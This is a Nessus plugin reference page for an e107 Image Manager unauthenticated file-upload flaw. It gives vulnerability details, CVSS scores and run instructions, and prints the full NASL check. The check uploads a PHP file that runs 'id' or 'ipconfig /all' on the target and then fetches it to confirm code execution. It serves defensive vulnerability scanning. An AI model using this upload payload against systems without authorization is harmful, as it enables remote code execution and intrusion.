e107 Image Manager Unauthorized File Upload - Nessus

High   Plugin ID: 16061

This page contains detailed information about the e107 Image Manager Unauthorized File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 16061
Name: e107 Image Manager Unauthorized File Upload
Filename: e107_unauthorized_file_upload.nasl
Vulnerability Published: 2004-12-21
This Plugin Published: 2013-01-28
Last Modification Time: 2022-04-11
Plugin Version: 1.24
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: e107_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: www/e107

Vulnerability Information


Severity: High
Vulnerability Published: 2004-12-21
Patch Published: 2004-09-17
CVE [?]: CVE-2004-2262
CPE [?]: cpe:/a:e107:e107

Synopsis

The remote web server contains a PHP script that allows for arbitrary file uploads.

Description

The version of e107 installed on the remove host is affected by a file upload vulnerability that could allow remote, unauthenticated attackers to upload arbitrary files on the remote host. An attacker may exploit this flaw to upload a PHP file to the remote host containing arbitrary code and then execute this code on the remove host, subject to the privileges of the web server user id.

Solution

Upgrade to e107 0.617 or later or apply the referenced patch.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the e107 Image Manager Unauthorized File Upload vulnerability:

  1. Exploit-DB: exploits/php/webapps/704.pl
    [EDB-704: e107 - 'include()' Remote File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2004-2262
CVSS V2 Vector: AV:N/AC:L/Au:N/C:N/I:P/A:N/E:H/RL:U/RC:ND
CVSS Base Score:5.0 (Medium)
Impact Subscore:2.9
Exploitability Subscore:10.0
CVSS Temporal Score:5.0 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.0 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:U/RC:X
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.8 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.8 (High)

Go back to menu.

Plugin Source


This is the e107_unauthorized_file_upload.nasl nessus plugin source code. This script is Copyright (C) 2004-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(16061);
  script_version("1.24");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2004-2262");
  script_bugtraq_id(12111);
  script_xref(name:"EDB-ID", value:"704");

  script_name(english:"e107 Image Manager Unauthorized File Upload");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that allows for
arbitrary file uploads.");
  script_set_attribute(attribute:"description", value:
"The version of e107 installed on the remove host is affected by a
file upload vulnerability that could allow remote, unauthenticated
attackers to upload arbitrary files on the remote host.  An attacker
may exploit this flaw to upload a PHP file to the remote host
containing arbitrary code and then execute this code on the remove
host, subject to the privileges of the web server user id.");
  script_set_attribute(attribute:"see_also", value:"https://e107.org/comment.php?comment.news.621");
  script_set_attribute(attribute:"see_also", value:"https://e107.org/news.php?item.672");
  script_set_attribute(attribute:"solution", value:
"Upgrade to e107 0.617 or later or apply the referenced patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:U/RC:X");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2004-2262");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2004/12/21");
  script_set_attribute(attribute:"patch_publication_date", value:"2004/09/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/01/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:e107:e107");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2004-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("e107_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/e107");
  script_require_ports("Services/www", 80);

  exit(0);
}

# Check starts here

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

# Test an install.

install = get_install_from_kb(
  appname      : "e107",
  port         : port,
  exit_on_fail : TRUE
);

dir = install["dir"];
install_url = build_url(port:port, qs:dir);
path = NULL;

# Verify images.php exists before sending our exploit
url = "/e107_handlers/htmlarea/popups/ImageManager/images.php";

res = http_send_recv3(
  method  : "GET",
  port    : port,
  item    : dir + url,
  exit_on_fail : TRUE
);

if ("<title>Image Browser" >!< res[2])
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "e107", install_url);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";

vuln = FALSE;
token = SCRIPT_NAME + '-' + unixtime() + '.php';

foreach cmd (cmds)
{
  # Get path to the file uploaded for use in our reporting section
  if (cmd == 'id') upload_path = "system('pwd')";
  else upload_path = "system('dir "+ token +"')";

  # Form  our PHP file to upload
  boundary = '----Nessus\r\n';
  boundary2 = '--Nessus';

  php_shell = boundary +
    'Content-Disposition: form-data; name="dirPath"\r\n\r\n' + '\r\n' +
    boundary +
    'Content-Disposition: form-data; name="url"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="width"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="vert"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="alt"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="height"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="horiz"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="upload"; filename=\"' +
    token + '\"\r\n' + 'Content-Type: application/octet-stream\r\n\r\n' +
    "<?php echo('<pre>'); system('"+cmd+"');" + upload_path + ";?>" + '\r\n' +
    boundary +
    'Content-Disposition: form-data; name="align"\r\n\r\n' +
    'baseline\r\n' +
    boundary +
    'Content-Disposition: form-data; name="border"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="orginal_width"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="orginal_height"\r\n\r\n\r\n' +
    boundary +
    'Content-Disposition: form-data; name="constrain_prop"\r\n\r\n' +
    'on\r\n' +
    boundary +
    'Content-Disposition: form-data; name="ok"\r\n\r\n' +
    'Refresh\r\n' +
    boundary +
    'Content-Disposition: form-data; name="ok"\r\n\r\n' +
    'OK\r\n' +
    boundary +
    'Content-Disposition: form-data; name="cancel"\r\n\r\n' +
    'Cancel\r\n' +
    '--' + boundary2 + '--\r\n\r\n\r\n\r\n';

 #Attempt upload
  res2 = http_send_recv3(
    method    : "POST",
    item      : dir + url ,
    data      : php_shell,
    add_headers:
      make_array("Content-Type",
                 "multipart/form-data; boundary=" + boundary2),
    port         : port,
    exit_on_fail : TRUE
  );
  exp_request = http_last_sent_request();

  # Try accessing the file we created
  upload_loc = "/e107_images/";
  res2 = http_send_recv3(
    method       : "GET",
    item         : dir + upload_loc + token,
    port         : port,
     exit_on_fail : TRUE
  );
  output = res2[2];

  if (egrep(pattern:cmd_pats[cmd], string:output))
  {
    vuln = TRUE;
    get_up_path = "" + token;

   # Extract path for reporting
    if (cmd == 'id')
    {
      get_path = strstr(output, "/");
      get_up_path = chomp(get_path) + "/" + token;
      output = strstr(output, "uid") - get_path;
    }
    else
    {
      get_path = strstr(output, "Volume in drive");
      output = strstr(output, "Windows IP") - get_path;
      get_dir = egrep(pattern:"Directory of (.+)", string:get_path);
      if(!isnull(get_dir))
         get_up_path = chomp((get_dir - " Directory of ")) + '\\' + token;
    }
    break;
  }
}

if (!vuln)
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, "e107", install_url, "Uploader plugin");

if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);

  report =
    '\nNessus was able to verify the issue exists using the following request :' +
     '\n' +
     '\n' + install_url + upload_loc + token +
     '\n' +
     '\nNote: This file has not been removed by Nessus and will need to be' +
     '\nmanually deleted (' + get_up_path + ').' +
     '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\nThis file was uploaded using the following request :' +
      '\n' +
      '\n' + snip +
      '\n' + exp_request +
      '\n' + snip +
      '\n' +
      '\n' + 'The file uploaded by Nessus executed the command "'+cmd+ '"' +
      '\nwhich produced the following output :' +
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_warning(port:port, extra:report);
}
else security_warning(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/e107_unauthorized_file_upload.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\e107_unauthorized_file_upload.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/e107_unauthorized_file_upload.nasl

Go back to menu.

How to Run


Here is how to run the e107 Image Manager Unauthorized File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select e107 Image Manager Unauthorized File Upload plugin ID 16061.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl e107_unauthorized_file_upload.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a e107_unauthorized_file_upload.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - e107_unauthorized_file_upload.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state e107_unauthorized_file_upload.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 46692 - e107 BBCode Arbitrary PHP Code Execution
  • 23624 - e107 class2.php e107language_e107cookie Cookie Traversal Local File Inclusion
  • 33856 - e107 download.php extract() Function Variable Overwrite
  • 22299 - e107 ibrowser.php zend_has_del() Function Remote Code Execution
  • 31650 - my_gallery Plugin for e107 dload.php file Parameter Arbitrary File PHP Source Disclosure

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file e107_unauthorized_file_upload.nasl version 1.24. For more plugins, visit the Nessus Plugin Library.

Go back to menu.